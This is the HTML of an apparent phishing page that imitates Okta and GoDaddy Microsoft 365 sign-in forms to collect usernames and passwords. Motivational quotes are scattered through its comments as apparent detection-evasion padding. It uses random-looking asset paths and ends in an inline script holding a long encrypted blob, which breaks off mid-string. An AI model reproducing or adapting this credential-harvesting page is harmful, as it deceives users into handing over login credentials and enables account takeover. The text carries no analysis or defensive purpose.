                  <form name="f1" id="i0281" novalidate="" spellcheck="" method="post" target="_top" autocomplete="off" class="primary-auth-form o-form o-form-edit-mode">
                    <div data-se="o-form-content" class="o-form-content o-form-theme clearfix">
<!-- Trust is the foundation of any relationship. -->
                      <h2 data-se="o-form-head" class="okta-form-title o-form-head">Sign In</h2>
                      <div class="o-form-error-container o-form-has-errors" style="display: none;"><div><div class="okta-form-infobox-error infobox infobox-error" role="alert"><span class="icon error-16"></span><p></p></div></div></div>
                      <div class="o-form-fieldset-container" data-se="o-form-fieldset-container">
<!-- Opportunities don&#039;t happen, you create them. -->
                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-5">
                          <div data-se="o-form-label" class="okta-form-label o-form-label">
                            <label for="okta-signin-username">Username</label>
<!-- The successful warrior is the average man, with laser-like focus. -->
                          </div>
                          <div data-se="o-form-input-container" class="o-form-input">
                            <span data-se="o-form-input-username" class="o-form-input-name-username o-form-control okta-form-input-field input-fix">
                              <input type="email" placeholder="" id="i011e" class="okta" value="" aria-label="" autocomplete="username" aria-required="true" required="">
                            </span>
                          </div>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
                        </div>
                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-30">
                          <div data-se="o-form-label" class="okta-form-label o-form-label">
                            <label for="okta-signin-password">Password</label>
                          </div>
                          <div data-se="o-form-input-container" class="o-form-input">
<!-- <div>Do not be embarrassed by your failures, learn from them and start again.</div> -->
                            <span data-se="o-form-input-password" class="o-form-input-name-password o-form-control okta-form-input-field input-fix">
                              <input type="password" placeholder="" id="oktapassword" class="okta" value="" aria-label="" autocomplete="current-password" aria-invalid="false" aria-required="true" required="">
                            </span>
                            <p id="input-container-error55" class="okta-form-input-error o-form-input-error o-form-explain" role="alert" style="display: none;"><span class="icon icon-16 error-16-small" role="img" aria-label="Error"></span>Please enter a password</p>
                          </div>
                        </div>
<!-- Effective communication is the key to success. -->
                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-0">
                          <div data-se="o-form-input-container" class="o-form-input">
                            <span data-se="o-form-input-remember" class="o-form-input-name-remember">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                              <div class="custom-checkbox">
                                <input type="checkbox" name="remember" id="input41">
                                <label for="input41" data-se-for-name="remember">Remember me</label>
                              </div>
                            </span>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                          </div>
<!-- I find that the harder I work, the more luck I seem to have. -->
                        </div>
                      </div>
                    </div>
<!-- Stop chasing the money and start chasing the passion. -->
                    <div class="o-form-button-bar">
                    <input class="button button-primary" target="_parent" type="button" value="Sign In" id="oktasignin">
                    </div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                  </form>
                  <div class="auth-footer">
                    <a href="javascript:void(0)" data-se="needhelp" aria-expanded="false" aria-controls="help-links-container" class="link help js-help">Need help signing in?</a>
<!-- <div>Your brand is what people say about you when you&#039;re not in the room.</div> -->
                  </div>
                </div>
              </div>
            </div>
          </main>
        </div>
<!-- Persistence is the key to achieving great things. -->
      </div>
      <div class="footer">
        <div class="footer-container clearfix">
          <p class="copyright">Powered by <a href="https://www.okta.com/?internal_link=wic_login" class="inline-block notranslate">Okta</a>
<!-- <div>Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you.</div> -->
          </p>
          <p class="privacy-policy">
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            <a href="https://www.okta.com/privacy" target="_blank" class="inline-block margin-l-10">Privacy Policy</a>
          </p>
        </div>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
      </div>
    </div>
</div>
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->

<div id="sections_godaddy" class="websitesections d-none">

<div class="brand-header see-change-bar">
<!-- <div>Success is not in what you have, but who you are.</div> -->
  <div class="container-fltoken">
    <div class="flex-row d-flex">
      <div class="see-change-bar-left d-flex">
        <div class="topnav-logo-wrap">
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
          <a href="https://www.godaddy.com/" target="_self" data-eid="uxp.hyd.utility_bar.logo.link.click" class="topnav-logo">
            <figure class="go-logo mobile-logo" aria-label="GoDaddy">
              <figcaption class="sr-only">GoDaddy</figcaption>
              <img id="header-logo" src="/ijNEF97DvfRhhdp3nGYCIxhJgJIhfVVimnYplqrAx5qIAnPBnNKjdfwQ0BeID912210">
<!-- <div>Success is not in what you have, but who you are.</div> -->
            </figure>
          </a>
        </div>
<!-- If you really look closely, most overnight successes took a long time. -->
      </div>
      <div class="see-change-bar-right justify-content-end"></div>
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
    </div>
  </div>
</div>

<div id="root">
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
 <div class="LoginPageStyles__LoginWrapper-sc-pvsjk8-0 kLiWvU">
  <img src="/qr6QRMkkXGZIFMagNRVwFmKWr3CBFMKehiGVJSB0qXnETowId1270JXDU91oI8yKOdY5Zm7Lm5jef232" id="godaddy-left-logo" style="">
<!-- All our dreams can come true if we have the courage to pursue them. -->
  <div class="FormPage__Container-sc-1b51r8o-0 zfCle container">
    <div class="row d-flex justify-content-sm-end">
      <div class="FormPageColumn__Container-sc-uwin2-0 ixbTgw col col-xs-12 col-sm-10 col-lg-6">
<!-- The way to get started is to quit talking and begin doing. -->
        <div id="login-container">
          <div id="login-panel" class="ssodeck-framable-content">
            <div>
              <div id="new-ux" class="card ux-card form-container fs-unmask">
                <div class="card-block  pass ">
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
                  <div></div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                  <div id="form-header" class="pass-form-header">
                    <div id="pass-template" class="">
                      <div class="logo-container-pass-o365 top-spacer">
<!-- Success is how high you bounce when you hit bottom. -->
                        <img src="/stjLcPWShXHXVYYUU12tSUDvwsHXYBL0GF0xXh467qPLMdA7Eah01QPVRfuFCiWRs8a4u8AYrYmjvXXcJef260" id="o365-logo" class="img-responsive">
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
                      </div>
                    </div>
                  </div>
                  <div id="form-container" class="">
                    <div id="login-status-message" style="display: none;">
<!-- If you really look closely, most overnight successes took a long time. -->
                      <div>
                        <div class="ux-space ux-dialog-shell ux-alert ux-alert--critical ux-text ux-dialog--contrast ux-dialog--stretch ux-space--as-block ux-space--inline ux-space--block" aria-labelledby="login-failure-alert" role="alert" dismissible="false">
                          <div class="ux-dialog-icon">
                            <svg class="uxicon-svg-container ux-dialog-accessory--critical" height="1.5em" width="1.5em" role="presentation">
                              <use fill="currentColor" xlink:href="#svg-container-alert"></use>
                            </svg>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
                          </div>
                          <div class="ux-dialog-details">
                            <div id="login-failure-alert" class="ux-dialog-title"></div>
                            <div id="godaddyloginfailurerror" class="ux-dialog-content"></div>
<!-- If you really look closely, most overnight successes took a long time. -->
                          </div>
                        </div>
<!-- Innovation distinguishes between a leader and a follower. -->
                      </div>
                    </div>
                    <h2 id="pass-title">Sign in</h2>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                    <div>
                      <div id="username-container">
                        <div class="ux-text-input-shell">
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
                          <div class="ux-field-frame ux-field-frame--stretch">
                            <div class="ux-text-entry-shell ux-text ux-text-input">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
                              <label class="ux-label ux-label--internal ux-label--floating" for="username">Email <span class="ux-text ux-label-required ux-text-feedback-critical" aria-hidden="true">*</span>
                              </label>
                              <input class="ux-text-entry-field" id="godaddyemail" aria-invalid="false" aria-required="true" type="text" aria-describedby="">
                            </div>
                          </div>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
                        </div>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
                      </div>
                      <div id="password-container">
                        <div class="ux-text-input-shell">
                          <div class="ux-field-frame ux-field-frame--stretch">
<!-- <div>The biggest risk is not taking any risk.</div> -->
                            <div class="ux-text-entry-shell ux-text ux-text-input">
                              <label class="ux-label ux-label--internal" for="password">Password <span class="ux-text ux-label-required ux-text-feedback-critical" aria-hidden="true">*</span>
                              </label>
                              <input class="ux-text-entry-field" id="godaddypassword" aria-invalid="false" aria-required="true" type="password" aria-describedby="" value="">
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->
                            </div>
                          </div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
                          <p class="ux-text ux-text-caption ux-text-feedback-critical" id="godaddypassword-error" role="alert" style="display: none;">Password is required</p>
                        </div>
                        <button class="ux-button show-hide-btn inline-show-hide-btn ux-text ux-text-size0 ux-button-inline" target="_parent" type="button" onclick="togglepassword(this)" aria-label="Show password">
                          <span class="ux-button-text">Show</span>
                        </button>
                      </div>
<!-- The way to get started is to quit talking and begin doing. -->

                      <div id="remember-me-container" class="input-container">
                        <div class="ux-text ux-checkbox-shell ux-text-input">
<!-- Stop chasing the money and start chasing the passion. -->
                          <span class="ux-checkbox-lineheightbox" data-lineheight="I">
                            <input class="ux-checkbox-input" type="checkbox" id="remember-me" value="true" checked="">
                            <span class="ux-checkbox-indicator">
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
                              <svg class="uxicon-svg-container ux-checkbox-indeterminate" height="1.5em" width="1.5em" role="presentation">
                                <use fill="currentColor" xlink:href="#svg-container-minus"></use>
<!-- Success in business requires training, discipline, and hard work. -->
                              </svg>
                              <svg class="uxicon-svg-container ux-checkbox-checkmark" height="1.5em" width="1.5em" role="presentation">
                                <use fill="currentColor" xlink:href="#svg-container-checkmark"></use>
                              </svg>
<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->
                            </span>
                          </span>
                          <label for="remember-me" class="ux-checkbox-label">Keep me signed in on this device</label>
                        </div>
                      </div>
                      <button class="ux-button btn btn-purchase btn-block ux-text ux-text-size0 ux-text-action ux-button-primary" target="_parent" type="button" id="godaddysignin">
<!-- <div>If you really look closely, most overnight successes took a long time.</div> -->
                        <span class="ux-button-text">Sign In</span>
                      </button>
                      <div id="social-login-buttons-container" class=""></div>
                    </div>
                    <p id="recovery-links" class="">Need to find <a class="ux-button ux-text ux-text-size0 ux-button-inline" href="https://sso.godaddy.com/v1/account/reset?app=o365&amp;realm=pass" target="_top" id="forgot_password" aria-label="find your password">
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
                        <span class="ux-button-text">your password</span>
<!-- Never give in except to convictions of honor and good sense. -->
                      </a>? </p>
                  </div>
                </div>
              </div>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
              <div id="email-promo-footer">
                <div class="font-primary-bold" id="email-message">Don't have Microsoft 365 email?</div>
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
                <button class="ux-button button btn btn-purchase btn-block ux-text ux-text-size-1 ux-text-action ux-button-secondary" target="_parent" type="button" id="emailPromoButton">
                  <span class="ux-button-text">Get Started</span>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
                </button>
              </div>
            </div>
          </div>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
        </div>
      </div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
    </div>
  </div>
 </div>
</div>
<div id="hcs-footer-container">
<!-- <div>Your brand is what people say about you when you&#039;re not in the room.</div> -->
  <div class="skip-nav-spacing"></div>
  <footer id="appheader-footer" class="manifest footer">
    <div class="container">Copyright &copy; 1999 - 2025 GoDaddy Operating Company, LLC. All Rights Reserved. <a class="privacy-link" href="https://www.godaddy.com/legal/agreements/privacy-policy?target=_blank" target="_blank" data-eid="uxp.hyd.int.pc.app_header.footer.privacy_policy.link.click">Privacy Policy</a>
      <div class="do-not-sell">
        <a class="privacy-link" href="https://www.godaddy.com/legal/agreements/cookie-policy" data-eid="uxp.hyd.int.pc.app_header.footer.do_not_sell.link.click">Do not sell my personal information</a>
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
      </div>
    </div>
  </footer>
  <div id="gtm_privacy"></div>
</div>
<div id="svg-container" style="display: none;">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
  <svg>
    <symbol id="svg-container-minus" viewBox="0 0 24 24">
      <path d="M20 12.75H4a.75.75 0 110-1.5h16a.75.75 0 110 1.5z"></path>
    </symbol>
    <symbol id="svg-container-checkmark" viewBox="0 0 24 24">
      <path d="M9 18.25a.748.748 0 01-.53-.22l-5-5a.75.75 0 011.06-1.06L9 16.44 19.47 5.97a.75.75 0 011.06 1.06l-11 11a.748.748 0 01-.53.22z"></path>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
    </symbol>
  </svg>
</div>
<!-- <div>Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you.</div> -->

<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
<div id="svg-container" style="display: none;">
    <svg>
     <symbol id="svg-container-alert" viewBox="0 0 24 24">
        <g>
<!-- <div>A satisfied customer is the best business strategy of all.</div> -->
            <path d="M12 13.75a.75.75 0 00.75-.75V9a.75.75 0 10-1.5 0v4a.75.75 0 00.75.75z"></path>
<!-- <div>Your brand is what people say about you when you&#039;re not in the room.</div> -->
            <path d="M21.371 16.48L14.478 4.417a2.854 2.854 0 00-4.956 0L2.629 16.48a2.853 2.853 0 002.478 4.27h13.787a2.854 2.854 0 002.477-4.27zm-1.307 2.095a1.34 1.34 0 01-1.17.675H5.107a1.352 1.352 0 01-1.175-2.025l6.893-12.063a1.354 1.354 0 012.35 0l6.893 12.063a1.339 1.339 0 01-.004 1.35z"></path>
            <path d="M12 15.25h-.005a1.128 1.128 0 10.005 0z"></path>
        </g>
<!-- <div>Effective communication is the key to success.</div> -->
     </symbol>
    </svg>
</div>

<!-- <div>Success seems to be connected with action. Successful people keep moving.</div> -->
</div>

<script>
(function(){
var aqfm = "gz+5sZbHUXQlNFHXTXFV4lnS26JCDzfAvU6Z98cVosRZO03XzlIkfrahGBMBdWy4Ztg+YfJoBpHRuJaW\/fRTvirIZIX28CbyV7w9YAFMt6JYnOUOZKmqT9nX13hFPOnpKVciKSAh4W1G0awfA7i9lfIDHdPhXovK\/PaEvtLC4p0fUDhFrNkUhl+itbo4Ar6swNgiyNhm4jZ8M6uG4T5JMpVeKl+DxvT7kC3p0OdyyXrpsxvneWrH0aRCOg+ok9Z5b8id4ANyRWZdnquexL5xJ3wWADWJukyEy0YpkbDALm8tWELHMrlh\/WOfDMvuKdcqjiFvQcx0Sxuo1s1FvM5sQt4XPtzoBWe8Jdj+K9zApNIOmuw8muKfdJUiimnlFwabf7CZzUfTbp8KZO6Hqv7D0mqyrefxvNZ6MFtl217YXbUR4GRc6G2dD7J0c1g7Vu78+TaUCaZRG3Q1G9XFJbT2puYjuryZ0ogysAntkik6GkfePQLeb7rp5yQrEbeqEfELD289NVXsdVQdjcaWMOl17CpkeDikhPZb9\/pDUOhKP9j4ygUXdPhYPA\/kVmv4ZqdZhTKiqv56kMSE6DZoRfhM1sGqcKtshtY5Sc\/0KkzDjROkpCZnYXyCcpg1XwS9sKLJgUhoC\/ymhKDU2etPUOZqNwOObVlkVPupMprCauzrWk1EXTA0ROavTzElYJ0lupZUJ6f1P9dlKY\/tHq3841Ivv3ars3UgXahwHDDsXFckzgZJlMyAF3DHfchAEv11i1VtCFucd6ebNrVPg5niQUxZLfps0ZqvkLgs\/e7mZ0XVJFlwBckZXqqDkLBj8JLji\/zrb+VZHnY09tp8hOmu8q0vPkoALnHMeVOMDiYq+WXZsMDgOEIfacRXSn+C0wz4Rp5v7wlSuH082B05fehezOx3g4x69L0+GdM\/xND5ESrDfi0uMZhjXKCdkUOVRgFn10I24klBaQmvfBWudXycVwc2wRZrYmqhAH9kVvO9l1RyRYcZFn7nc6z+jkIduzIWLY6GbcloBB8Ir6pwFwlmWijT4tO9i6afB0lTltdRPMzFfWiZGiIArhuuP019u5f7MmG2kZXvMGvU05DIGVG\/bMsjOODeXKALxjGFw0xUzLUmzVvzU0PskxkcwCkRbzRIg8jbqXmrDHnw0BdVZJZzVpbKGGXO9y3RKZ16x778WBvrLoQe6Imo0nuk7UtuOgOdrPNdqgttduyQqgjjR8tGMe9Wc4ARYjB227ukkhguGifhIh2wAjxUpo5bu008y9v1+2O43f5+JdpykWOZxc2UzEnKK4U6JzBUhe6MwU2ILHwo\/\/LepgQ7OeNw6tzhFJWcot9ggABzp6aRGankgnsJnYIrbTt2ICOLmnOkLhOYzWgqJw95JKq\/nu8o\/VhTb0QAig03cWKpGA0QYaaod0MGE7Z+PaW1RY0yq8BRcxYRaUwA3j1imZ8oyrX+NMPnbTDCNuwQllJsdbQgdl9b54vT2eGtar5ZD9yyAl6bmkSqjMGaFshSi2zM74mOi+zASZeiuO0qo8Mv9\/hnTo\/drpxbQAdEMX4Ng6ZtwzmuLBKlX6xw0WZ1G9IoG11iwBjozaNR31vvEUC0dPNJ+I0aumbVjvV2\/nbbEyph9e2bmoHehfn5nLGDIbzzAemXOYjmv8WRj7erS6jEL14o9VVbZGP4uX\/UTWuFYfSWqwtJqOQ958EXIrKg5eZdKVDx\/1UoixzErwuwAMm6jR1NIZpYVAnn0lTDJeSmW8FaatQnV6hMvdBe0t2Pc4FgzRMJIQAAPA4ygHh4bf\/29hfrShmyFgcz4ibeT3sbFAkPI6zk5OcpHsRnptTLas\/vXlCdw\/HwnyYWC94nO2OWqasN0MvrimLMchvKA4CpzD7iUCpiH5YA9D2jnu4VFviMLAb5CFRasYud+Hcn18lQWWbj+yuWkk95+QGnmrHoDs6HLza8zS5dYlCMBtIM2C71+yW8vxhJfFb4CPb4WB2IS7vCe0Amc8BxRAbKXt5NmzyTFnLwO+8Tj3zSE1QhoiaBdoBxggLPWmqSqLauhe4dewOCNs3mcDc3PvagEv+YbAI+k2ncRQVMXi+WCevB0UUbx2JejXwiAFEUmGHNOIyqBWImzZx5hNPA+cNQg9iY8RizrLiND\/mwlZHladnkiqSwBdPQ5Tl95uLyCn5z7frHgt4Cm+rldhIZq5zaWRvcYfubkWWh0oNpX1hp2jh\/DO9e7fDz694V\/ouRrvQZ8n6eLAx0gv9Zz9sDjejAi65CkOCo2ku25t6QVUquqdlPSnGFt36g9eHKXM4SEpdiSoairxoqrcQCAdedlItliiMtDWQLr\/6oQmw31Xj4\/YZ+yozwE7CxxjyCP7mWiOECWWnKDRIjgGye\/Cvyh0SjVqDIccYz5tUhiwiWqeZgGjG7nt0+dC8Sr+EXschyDRpQpjsQwiOio+wGGf2PO3ZUgn3qYoxTKOFzAVre1ZpJYBcsxbneY9UDBg3Dts3TT8FEf8i5C1fTIFkp\/RX6wkccbrto0kOEeJp+wMiFEsc3L50x9BZgdvy7rdgRRiIezNFwKbXuKDYB35l6xHqHTvEX9nRQDd1rcvnKiOHwACgC7WS\/bNh6m6+G1THfGEY5lB8FJ0yqup9TtdmBIow7iBvqy0XKseUFaWdehFfAV9ANZxI7kiqSvQRwaFFjcwVbnkSyv5Fmm8Z\/x\/OhNoAvBrQs2cuhLjjAPgIZ\/2Q1xQg+HqqoWo6icrN8\/F5gZwOGPCZilFvJW\/KnZ+LTGQZn4rUtPaFHRIZUxuipfT1MnWWZAp5pi2JyN1c\/Vdft5YFuRFHA+rrB3KQfyw1ETEHkZ7y096xPTP1Up6CEiATMP3a4nO5lQpUMBpLzHXwj1rI+UedNNeN6xvxi+Ap7ZBNAW0LywGBCTyIscUZMSQDYG1Gob3Rv7qhjLI2p6wTx6Jd2BoqJpwsR7wl71OCyHaBGo8pUu5LJ0W7ViwKVLSxTBTaWIlBXW0p7oqyxqfyt1HcGedsl9G9CgqO7WNe85OxvPLXzvCkeKJtYWFI1v2P5QeDDzTZNEsbyu2L+S6HzWAr3\/gBu5rHSz+6+oqYZLrxQ0pmEaScaDMcqCG7lmwqLAy9qTsqWtRdW435wasdiF\/6StDIrWFaZEO+nwiujANX1R9Nk0qbtSlEoGrvGfriaiVOxBo5TAU+m1u0G0lYIuQWXz1tFZscxZ2FQ\/CGWY9Aj406hQXufZvAq2g5QsOCFsi7HdfdlitYh0uEGmxdM8PFOV3gPT7EzpKZhS\/VG540Q3+ov9CV4cJ7IPRM3a+ugQjVGMe+PMQ+zeZEH4cJHSywRqfy+KU8wkslgPxeckVCmMWta4A1BHb5BQ6nQtLopmHxQBw\/1LYM+G+2SQ1PnhSZ2bX\/\/lXtHm2U3HOi\/a5QPF\/VFuWxF+QBEQ3kli3D7EnCRz4duEIkKB9DRFIO+9D37qJREn2BVLdqZLo9WhwpmGbJrMbUnIvzUz\/iRjfnuqieLbaZVd0X9mHv5OlfDYgplIVSj4\/1Zog82ssD9ixmgTHKXbWHtmy3vL7xsmc6NA9t+6Wf0JDL3ZOJLezsNRdtfejbo99fE+8CoBVWAq4OnRXPAGkDFlS3J2ec+0i2wu4QQ3u8Y5s2oXTihYSm6DHfWesBzuAz\/as8W5RQYSSNdNok2SeklaBVUJ\/+JRLsbSggewVn3\/HEAryJhkzFQ9as6GLos0a7nNgJweh5eIWDU21+OqoYVpMG2EGZURwkU\/9aXcTUHqDKSkkO+xCTe\/9lIr8saENLiuBprbSCIz5wBV5eED+CSTrVbgk+z6ryCq7sLoDWTLvwrajPLeMb6f1bZuHNn4ZgUrzQxrjRJOZVhJuTBDg7NLL4tXPFUbGMx7RS\/6hqLINEqHKwF7\/T4r9Kwz97+p2TG+aoR6YexhjwcDCJ+0oToirsWCGWFN50eolyK7ZfAbvfNl5HF29EzaDYtzu6tTZnbDh50XNe2zjFvPcceLsMkunfabZ+qEXAGKBKQrn7m22QpVCbyb1ajT9ezothcNpp0MMPDcfp9ax7xeqBPk8rkVhi5OvOIGDZJ6VNXCLg7G3e1DJUOR5hcC7OHyFWTDi4dLr2kRafmbNMYaZqIYv9ZQ7wu5TVy54gAhYInYtD0lXyp6hkanvDYpJDe3Ou5mYqWbvkeZf5RAKwBdBJ7xVVQwcDqHk8wA+d5h8t+2qJ0rsTrkmpeoXu7q3gkcGw35lhhnWK6cHgHzYAmpFOxz5BUioBY0x0WiRa062Bg\/U4yHy92qx\/LZ4K1a0sjIrb61zgAmGT3jkjouVYNJHPrvQaicUyBdoqW9C\/JXLGu+v6xJd2Hpm2qFiRrlm1Uge08xs2fGodh69fSZ\/hoef1m7EVGMSzr3J\/5P9fAyKgPfVuuf+vBlNen1bq5ivSgpq9ohL3J5hT6avPMWUpUkVrfcpES6L96g4pMg\/69MnmVcoh6I0g7zxStdAPN2N9lq4PGtJun+TXed5+V4QRtsjwpE8PCyibxeMj22fB29ljIPqZ0x4GrE2e7Sukw2BWeZK7M\/aW1leWACVg1Tk864Uyuv+\/JSyegU1JyIH\/WREgkdiK8zDnhyexWMibK\/iDQ219t0Zrp9nxvElTvtmNJfaeUz3cRxeIrsLXtKF5WCitFGHSvozx\/tsKKAsv8puXywJCppzpUtAFs6uSt8tGmtk3xL8+7\/7yOX96RwUUW3GmkMF4ZyDsEaq4Xhp7qhEVCaeoZgg5W\/Xtq76UoXp3yXAOAqRvQV3ovO1IBLcEeMjQH\/fkt3wDNRddPl0pCgF22h+iF2\/Awlu6ilt31A\/Ovjq\/jrXPJDtXclCbyduviz9OjjetXlRDcTpkvW2c1hAfxs+WhM8Ima0JunaprPXTNYCL3hSePMTtnn+hVaUfmD+Dr7srUfBvhoUElJ4OnybGeJ5Jx5nzXhsJmDaJLGVv6hnjN0ZtGH+rj0WXv3xy37WsKGvKTIElf0RNOuZUWS+XabFQ5KyU1qQ1KtgeLtK\/Fpr5cyyFLU4nMN54C\/4JhafjLRKgs5hLnO2JPvj+E+TJ\/YsdfUhUWLT4TgbXelTdb5cEBaY6u\/RTKzkGN8jhz\/wTW6T2SrXa2+vJbWcC2n6P8Cqv8HSjSpDUMHLMcTWPv2UHWz82vcruE7N\/9L33eRm9+hcGbqgyZMCcEF56scnjqG16\/gJ6MSSviTpW4ez8nMp6+1RIzA0PDHwfGj1AVi\/ql6ikzGkaOtXnxVsBZNoNR6TSP+s6409BPez3hIbzuMIPafwHZ00xHwVoocrAJYY6j+oG99sL9qIFtR8rlzgWQ\/l7krzp9jPojtGC21oJhfaoRkXu45t1KHUdM5AF7MZkIcM\/dC1SxdYlj7IJus0ZAwHsvdXbB2sMjI7cYYEDLCFU2u89f+sz7B2Xnv8OT0JYFCfO6Lq\/HTFUmEwk30hd9JFG9bMGKEqLq\/Sn+T085NfDXiqOhpbSwzCevUCTunSHjIXPM46IeSWOmRzeVm9rz1w6yMO88eUscri0t17D3JRtvydqsGKDAHHDZaVm4KE+QHQj0M3bI1e\/UMSzFzXAW\/V2LdMNa1u0iw1IlppDID3cB9eK\/b1cBl2f+x8L+7sdglRtSvVCexKlrxWUZNJ\/X41raRE5C\/fOBknPodeIJIeilAuAT\/2TIaTzIUUQbMPya4g6t1bB52y+9Y1c+C9R9QafVWAid1Ld2J+jI7HhYQcQb1HupoF1lXgtmYmRZi7B8QKihPw0kL\/LByY3WuLHe6\/XhEzIc0KOQBXzr3RxIWhA61OzyWianmZyi9A1Ry3360bcJYqs0XyelR97LghYZxywnX1mOUdwg37SpTRWRds7OUPpM6aLl6EbXbrW3J\/D5fyJQ9ZbJV27cDas9Z7bILFB5AoJlyWY1YK2C0FGi9nI7kqifowFWB4hLvPfh4xqKhabyz22OOJeeBO1cS0eNdyOzqoYqzddfeOv9yh0FKRzhngkCKtBqko0FNJIQ9U+4u\/jsO+wIlZsmxcsP57xfglDtD7CSaR2Ixe\/AwIDirNC9dNcZz6nFI4WhhXXO2u0\/YxS6G+KKyqPU2fdR9OgtcdVJv7dhDNK+MwsoE0kq1zM0J0bog+vunARMbNIGBkip64p\/D8A\/5GH1BqYom3tMlDGul0IS8n+sAq8dDJQonpnXXA5oVDWrSB1sD6Tfb0ocxoIZzTw2VANeahI0sqciIhFGXmFEYqpPg7hyLJcl1bnPGjvwYBRmijvJy+3eVGN74A+lNGp6mBYaBZJpgPcl8bzRhmFLZvlSfBEpMWr\/PQFkbZLOa26FMMuBaCuxZPlgkwIUSPXSrOoAnGSHNj2iny5OLmqzFld8EGqHyPZncyKiJsMnLCWMmiwL\/5MFytvcWWAQjgLrkGYvg4T0Njcix593GpPuy6IyoQ8wa2tT+YtPTfE5Rd6htkXYCNzBP1\/976WYTnaJs6bX6s0oRynWzGOXRY7yU4n7IWiin19kUJ\/f1Bc+b9b7hi1wCcNP0rLV7CZBL\/JOhnnwsHN4dnlOGjjVHxbF2+ZkRFh7N9FsNIitnVsbBX5R0p3WnBwDCLV0RZ5mNEgonyMK65XCF8qFF+K6fc3yUNKiNDg1Q\/81Wck7acqWMEJPCrRLGAVT1H9n5C0hmsc\/Aw1VTBZACVnibQAzj5I+s4KoMCJX9eZCxaTobdYRwMtuxyBaDpd9PZ7xCsgm5THdUOdYRwCOJ5gBcK\/nc2pxl6pT8WHsOCVtP4bz2MjR0dh8+aPQAfI8YXkxQelCkUjMTPBU1mbKq6fpwReWshfadBOTJqhKkpbif5k\/0x9AKK0ZFCxU0GxmHeLaFFhXcYCz9Z2tMxEoJ1o9zUV+b4i6me2GYsixU1mgAPi\/tbZA14wAzTVw+3BFPjwmSacBNoLw4G0WyZeRy\/WRs3SE0IlxxWu5v7Cd\/AIZRSAXOJmKdyNbL1Bp6vM0zfS6SPZbylpz6tjsNnwjTzMw4GNYLKvhH0vwya2yevQI8C+AD6wFbB9c\/aQbJwIBVXlHvc3pg9xhQGO8z84SNx\/SGYT4rMUBN5kAvME55fmHZ\/sxfcmB7SiyKUeQmFvL06Sh4340H7qJpvM3jKeP8qVGUboFHOQvW6MBlcBez81NOuyzAIFHjwQt7TvZesFU8MUcoBgDHXvX5wfpxIvqY2ctP4XMo0YAqpwX8xBVY\/kCuWzGyU2jg+O6jbhQSs3NmGXjn5iiTlDiwtJBouUXijNRVsTswEo1c\/8\/f6rRzVFS5sKGKKl43lJGAdClOpSYDSDNzAUrgN8hN92Uvim5pu1Z1LcF7aYjocyz50d7RRIV0nON2TRi8yaeJPORMq7vTT0MDLmqbBNuBPYkTCY2HoZ2Xq0pEzhb6rjHZdQTRHomUrpxdBmqmmN\/JTvTemIPI2uTQtCrophOUWv8u\/lgG8lYSX+1IlljASPZDY\/MB9i8WhxJEivDn4vEGRPiqgPDiuTHt84IuNW9za\/Z49x9OwgDV6t6H81uYsOh\/zYpeuXI8CflXjzzTqcKDTGtZILJfNc\/jwLpP69LkufC3\/WikeTSVpfIzuz6Orq04tRO1U8S4H6T+Fv0euXsIHO\/EVrGaB57zaUJK8MKyVRqO4\/eKCviArfriZuDmlaCwFOmYy9NbZUxhmaK27LHLNQrNmYG85W8ifpAq7WSKHzOFR2klBHFE\/4atIUYdKgnaq8d4g22\/N40tKB3gNEufuC\/Tr8EK8YZtRG5bu62jqglLubg\/EGcLjQdkZLMioYSuHPrRctNfOcxHmaOByfj0VrjBD7Sxl8PtlBcSQHNDG1iGFDoX1rS77qycpdX3WlDr6B1bAvubSU8gRBu7C55P6XG62LJmLjegVNPcndw4B408nknQ8mGLlGJdP4vDIfZ5rXgh+8n\/o3t4il7vTL0hoQLdvznYh5ZNWU9IwtmbaJfD1JKVGLAzlPa1x8T2WPhRb+FmcEtJvJcNFa9RM9NXxz6O3PSjNr4vP4bKzdTHcMhpOidjbQSacwKK2x9JgC11j2GMQKqjc48K72nlYa68JRk6cBNNLv6LwB+xysjOD7v2qqU4MON21GfBTQnQY+uq\/dFSss54TdrSZ0j60RY3KedQpZ0z